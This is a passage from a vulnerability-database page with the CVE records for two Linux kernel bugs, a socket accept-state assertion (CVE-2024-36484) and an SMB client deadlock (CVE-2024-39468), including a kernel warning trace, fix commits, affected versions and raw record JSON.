0f 83 ab b4 fd ff c3 66 2e 0f 1f 84 00 00 00 00 RSP: 002b:00007ffdb26d9c78 EFLAGS: 00000246 ORIG_RAX: 000000000000002b RAX: ffffffffffffffda RBX: 0000000000400300 RCX: 00000000004315f9 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000004 RBP: 00000000006e1018 R08: 0000000000400300 R09: 0000000000400300 R10: 0000000000400300 R11: 0000000000000246 R12: 0000000000000000 R13: 000000000040cdf0 R14: 000000000040ce80 R15: 0000000000000055 </TASK> The reproducer invokes shutdown() before entering the listener status. After commit 94062790aedb ("tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets"), the above causes the child to reach the accept syscall in FIN_WAIT1 status. Eric noted we can relax the existing assertion in __inet_accept()

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/7de00adc9bd035d86…
https://git.kernel.org/stable/c/59801e88c99f7c3f4…
https://git.kernel.org/stable/c/6e03006548c66b979…
https://git.kernel.org/stable/c/21c14c556cccd0cb5…
https://git.kernel.org/stable/c/c09ddc605893df542…
https://git.kernel.org/stable/c/87bdc9f6f58b44173…
https://git.kernel.org/stable/c/5f9a04a94fd1894d7…
https://git.kernel.org/stable/c/26afda78cda3da974…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 34e41a031fd7523bf1cd00a2adca2370aebea270 , < 7de00adc9bd035d861ba4177848ca0bfa5ed1e04 (git) Affected: ed5e279b69e007ce6c0fe82a5a534c1b19783214 , < 59801e88c99f7c3f44a4d20af6ba6417aa359b5d (git) Affected: 413c33b9f3bc36fdf719690a78824db9f88a9485 , < 6e03006548c66b979f4e5e9fc797aac4dad82822 (git) Affected: 2552c9d9440f8e7a2ed0660911ff00f25b90a0a4 , < 21c14c556cccd0cb54b71ec5e901e64ba84c7165 (git) Affected: 3fe4ef0568a48369b1891395d13ac593b1ba41b1 , < c09ddc605893df542c6cf8dde6a57a93f7cf0adb (git) Affected: f47d0d32fa94e815fdd78b8b88684873e67939f4 , < 87bdc9f6f58b4417362d6932b49b828e319f97dc (git) Affected: 94062790aedb505bdda209b10bea47b294d6394f , < 5f9a04a94fd1894d7009055ab8e5832a0242dba3 (git) Affected: 94062790aedb505bdda209b10bea47b294d6394f , < 26afda78cda3da974fd4c287962c169e9462c495 (git) Affected: cbf232ba11bc86a5281b4f00e1151349ef4d45cf (git)
Linux	Linux	Affected: 6.9 Unaffected: 0 , < 6.9 (semver) Unaffected: 4.19.319 , ≤ 4.19.* (semver) Unaffected: 5.4.281 , ≤ 5.4.* (semver) Unaffected: 5.10.223 , ≤ 5.10.* (semver) Unaffected: 5.15.164 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36484",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T13:58:06.399872Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T13:58:14.703Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:37:05.014Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7de00adc9bd035d861ba4177848ca0bfa5ed1e04"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/59801e88c99f7c3f44a4d20af6ba6417aa359b5d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6e03006548c66b979f4e5e9fc797aac4dad82822"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/21c14c556cccd0cb54b71ec5e901e64ba84c7165"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c09ddc605893df542c6cf8dde6a57a93f7cf0adb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/87bdc9f6f58b4417362d6932b49b828e319f97dc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5f9a04a94fd1894d7009055ab8e5832a0242dba3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/26afda78cda3da974fd4c287962c169e9462c495"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:55.754Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/af_inet.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "7de00adc9bd035d861ba4177848ca0bfa5ed1e04",
              "status": "affected",
              "version": "34e41a031fd7523bf1cd00a2adca2370aebea270",
              "versionType": "git"
            },
            {
              "lessThan": "59801e88c99f7c3f44a4d20af6ba6417aa359b5d",
              "status": "affected",
              "version": "ed5e279b69e007ce6c0fe82a5a534c1b19783214",
              "versionType": "git"
            },
            {
              "lessThan": "6e03006548c66b979f4e5e9fc797aac4dad82822",
              "status": "affected",
              "version": "413c33b9f3bc36fdf719690a78824db9f88a9485",
              "versionType": "git"
            },
            {
              "lessThan": "21c14c556cccd0cb54b71ec5e901e64ba84c7165",
              "status": "affected",
              "version": "2552c9d9440f8e7a2ed0660911ff00f25b90a0a4",
              "versionType": "git"
            },
            {
              "lessThan": "c09ddc605893df542c6cf8dde6a57a93f7cf0adb",
              "status": "affected",
              "version": "3fe4ef0568a48369b1891395d13ac593b1ba41b1",
              "versionType": "git"
            },
            {
              "lessThan": "87bdc9f6f58b4417362d6932b49b828e319f97dc",
              "status": "affected",
              "version": "f47d0d32fa94e815fdd78b8b88684873e67939f4",
              "versionType": "git"
            },
            {
              "lessThan": "5f9a04a94fd1894d7009055ab8e5832a0242dba3",
              "status": "affected",
              "version": "94062790aedb505bdda209b10bea47b294d6394f",
              "versionType": "git"
            },
            {
              "lessThan": "26afda78cda3da974fd4c287962c169e9462c495",
              "status": "affected",
              "version": "94062790aedb505bdda209b10bea47b294d6394f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "cbf232ba11bc86a5281b4f00e1151349ef4d45cf",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/af_inet.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.9"
            },
            {
              "lessThan": "6.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.319",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.281",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.223",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.164",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.319",
                  "versionStartIncluding": "4.19.314",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.281",
                  "versionStartIncluding": "5.4.276",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.223",
                  "versionStartIncluding": "5.10.217",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.164",
                  "versionStartIncluding": "5.15.159",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "6.1.91",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "6.6.31",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.8.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: relax socket state check at accept time.\n\nChristoph reported the following splat:\n\nWARNING: CPU: 1 PID: 772 at net/ipv4/af_inet.c:761 __inet_accept+0x1f4/0x4a0\nModules linked in:\nCPU: 1 PID: 772 Comm: syz-executor510 Not tainted 6.9.0-rc7-g7da7119fe22b #56\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.11.0-2.el7 04/01/2014\nRIP: 0010:__inet_accept+0x1f4/0x4a0 net/ipv4/af_inet.c:759\nCode: 04 38 84 c0 0f 85 87 00 00 00 41 c7 04 24 03 00 00 00 48 83 c4 10 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc cc cc cc e8 ec b7 da fd \u003c0f\u003e 0b e9 7f fe ff ff e8 e0 b7 da fd 0f 0b e9 fe fe ff ff 89 d9 80\nRSP: 0018:ffffc90000c2fc58 EFLAGS: 00010293\nRAX: ffffffff836bdd14 RBX: 0000000000000000 RCX: ffff888104668000\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\nRBP: dffffc0000000000 R08: ffffffff836bdb89 R09: fffff52000185f64\nR10: dffffc0000000000 R11: fffff52000185f64 R12: dffffc0000000000\nR13: 1ffff92000185f98 R14: ffff88810754d880 R15: ffff8881007b7800\nFS:  000000001c772880(0000) GS:ffff88811b280000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fb9fcf2e178 CR3: 00000001045d2002 CR4: 0000000000770ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n \u003cTASK\u003e\n inet_accept+0x138/0x1d0 net/ipv4/af_inet.c:786\n do_accept+0x435/0x620 net/socket.c:1929\n __sys_accept4_file net/socket.c:1969 [inline]\n __sys_accept4+0x9b/0x110 net/socket.c:1999\n __do_sys_accept net/socket.c:2016 [inline]\n __se_sys_accept net/socket.c:2013 [inline]\n __x64_sys_accept+0x7d/0x90 net/socket.c:2013\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0x58/0x100 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x4315f9\nCode: fd ff 48 81 c4 80 00 00 00 e9 f1 fe ff ff 0f 1f 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 0f 83 ab b4 fd ff c3 66 2e 0f 1f 84 00 00 00 00\nRSP: 002b:00007ffdb26d9c78 EFLAGS: 00000246 ORIG_RAX: 000000000000002b\nRAX: ffffffffffffffda RBX: 0000000000400300 RCX: 00000000004315f9\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000004\nRBP: 00000000006e1018 R08: 0000000000400300 R09: 0000000000400300\nR10: 0000000000400300 R11: 0000000000000246 R12: 0000000000000000\nR13: 000000000040cdf0 R14: 000000000040ce80 R15: 0000000000000055\n \u003c/TASK\u003e\n\nThe reproducer invokes shutdown() before entering the listener status.\nAfter commit 94062790aedb (\"tcp: defer shutdown(SEND_SHUTDOWN) for\nTCP_SYN_RECV sockets\"), the above causes the child to reach the accept\nsyscall in FIN_WAIT1 status.\n\nEric noted we can relax the existing assertion in __inet_accept()"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:15.282Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/7de00adc9bd035d861ba4177848ca0bfa5ed1e04"
        },
        {
          "url": "https://git.kernel.org/stable/c/59801e88c99f7c3f44a4d20af6ba6417aa359b5d"
        },
        {
          "url": "https://git.kernel.org/stable/c/6e03006548c66b979f4e5e9fc797aac4dad82822"
        },
        {
          "url": "https://git.kernel.org/stable/c/21c14c556cccd0cb54b71ec5e901e64ba84c7165"
        },
        {
          "url": "https://git.kernel.org/stable/c/c09ddc605893df542c6cf8dde6a57a93f7cf0adb"
        },
        {
          "url": "https://git.kernel.org/stable/c/87bdc9f6f58b4417362d6932b49b828e319f97dc"
        },
        {
          "url": "https://git.kernel.org/stable/c/5f9a04a94fd1894d7009055ab8e5832a0242dba3"
        },
        {
          "url": "https://git.kernel.org/stable/c/26afda78cda3da974fd4c287962c169e9462c495"
        }
      ],
      "title": "net: relax socket state check at accept time.",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36484",
    "datePublished": "2024-06-21T10:18:09.672Z",
    "dateReserved": "2024-06-21T10:12:11.494Z",
    "dateUpdated": "2026-05-12T11:53:55.754Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-39468 (GCVE-0-2024-39468)

Vulnerability from cvelistv5 – Published: 2024-06-25 14:28 – Updated: 2026-05-12 11:55

Title

smb: client: fix deadlock in smb2_find_smb_tcon()

Summary

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix deadlock in smb2_find_smb_tcon() Unlock cifs_tcp_ses_lock before calling cifs_put_smb_ses() to avoid such deadlock.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/b055752675cd1d1db…
https://git.kernel.org/stable/c/21f5dd36e655d25a7…
https://git.kernel.org/stable/c/b09b556e489683178…
https://git.kernel.org/stable/c/225de871ddf994f69…
https://git.kernel.org/stable/c/8d0f5f1ccf675454a…
https://git.kernel.org/stable/c/02c418774f76a0a36…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 78ebec450ef4f0720c592638d92bad679d75d7ce , < b055752675cd1d1db4ac9c2750db3dc3e89ea261 (git) Affected: e695a9ad0305af6e8b0cbc24a54976ac2120cbb3 , < 21f5dd36e655d25a7b45b61c1e537198b671f720 (git) Affected: e695a9ad0305af6e8b0cbc24a54976ac2120cbb3 , < b09b556e48968317887a11243a5331a7bc00ece5 (git) Affected: e695a9ad0305af6e8b0cbc24a54976ac2120cbb3 , < 225de871ddf994f69a57f035709cad9c0ab8615a (git) Affected: e695a9ad0305af6e8b0cbc24a54976ac2120cbb3 , < 8d0f5f1ccf675454a833a573c53830a49b7d1a47 (git) Affected: e695a9ad0305af6e8b0cbc24a54976ac2120cbb3 , < 02c418774f76a0a36a6195c9dbf8971eb4130a15 (git)
Linux	Linux	Affected: 5.14 Unaffected: 0 , < 5.14 (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.94 , ≤ 6.1.* (semver) Unaffected: 6.6.34 , ≤ 6.6.* (semver) Unaffected: 6.9.5 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T04:26:15.555Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b055752675cd1d1db4ac9c2750db3dc3e89ea261"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/21f5dd36e655d25a7b45b61c1e537198b671f720"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b09b556e48968317887a11243a5331a7bc00ece5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/225de871ddf994f69a57f035709cad9c0ab8615a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8d0f5f1ccf675454a833a573c53830a49b7d1a47"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/02c418774f76a0a36a6195c9dbf8971eb4130a15"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-39468",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:07:58.449670Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:41.922Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:24.153Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/smb/client/smb2transport.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b055752675cd1d1db4ac9c2750db3dc3e89ea261",
              "status": "affected",
              "version": "78ebec450ef4f0720c592638d92bad679d75d7ce",
              "versionType": "git"
            },
            {
              "lessThan": "21f5dd36e655d25a7b45b61c1e537198b671f720",
              "status": "affected",
              "version": "e695a9ad0305af6e8b0cbc24a54976ac2120cbb3",
              "versionType": "git"
            },
            {
              "lessThan": "b09b556e48968317887a11243a5331a7bc00ece5",
              "status": "affected",
              "version": "e695a9ad0305af6e8b0cbc24a54976ac2120cbb3",
              "versionType": "git"
            },
            {
              "lessThan": "225de871ddf994f69a57f035709cad9c0ab8615a",
              "status": "affected",
              "version": "e695a9ad0305af6e8b0cbc24a54976ac2120cbb3",
              "versionType": "git"
            },
            {
              "lessThan": "8d0f5f1ccf675454a833a573c53830a49b7d1a47",
              "status": "affected",
              "version": "e695a9ad0305af6e8b0cbc24a54976ac2120cbb3",
              "versionType": "git"
            },
            {
              "lessThan": "02c418774f76a0a36a6195c9dbf8971eb4130a15",
              "status": "affected",
              "version": "e695a9ad0305af6e8b0cbc24a54976ac2120cbb3",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/smb/client/smb2transport.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.14"
            },
            {
              "lessThan": "5.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.94",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.34",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.94",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.34",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.5",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix deadlock in smb2_find_smb_tcon()\n\nUnlock cifs_tcp_ses_lock before calling cifs_put_smb_ses() to avoid such\ndeadlock."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:21:07.484Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b055752675cd1d1db4ac9c2750db3dc3e89ea261"
        },
        {
          "url": "https://git.kernel.org/stable/c/21f5dd36e655d25a7b45b61c1e537198b671f720"
        },
        {
          "url": "https://git.kernel.org/stable/c/b09b556e48968317887a11243a5331a7bc00ece5"
        },
        {
          "url": "https://git.kernel.org/stable/c/225de871ddf994f69a57f035709cad9c0ab8615a"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d0f5f1ccf675454a833a573c53830a49b7d1a47"
        },
        {
          "url": "https://git.kernel.org/stable/c/02c418774f76a0a36a6195c9dbf8971eb4130a15"
        }
      ],
      "title": "smb: client: fix deadlock in smb2_find_smb_tcon()",
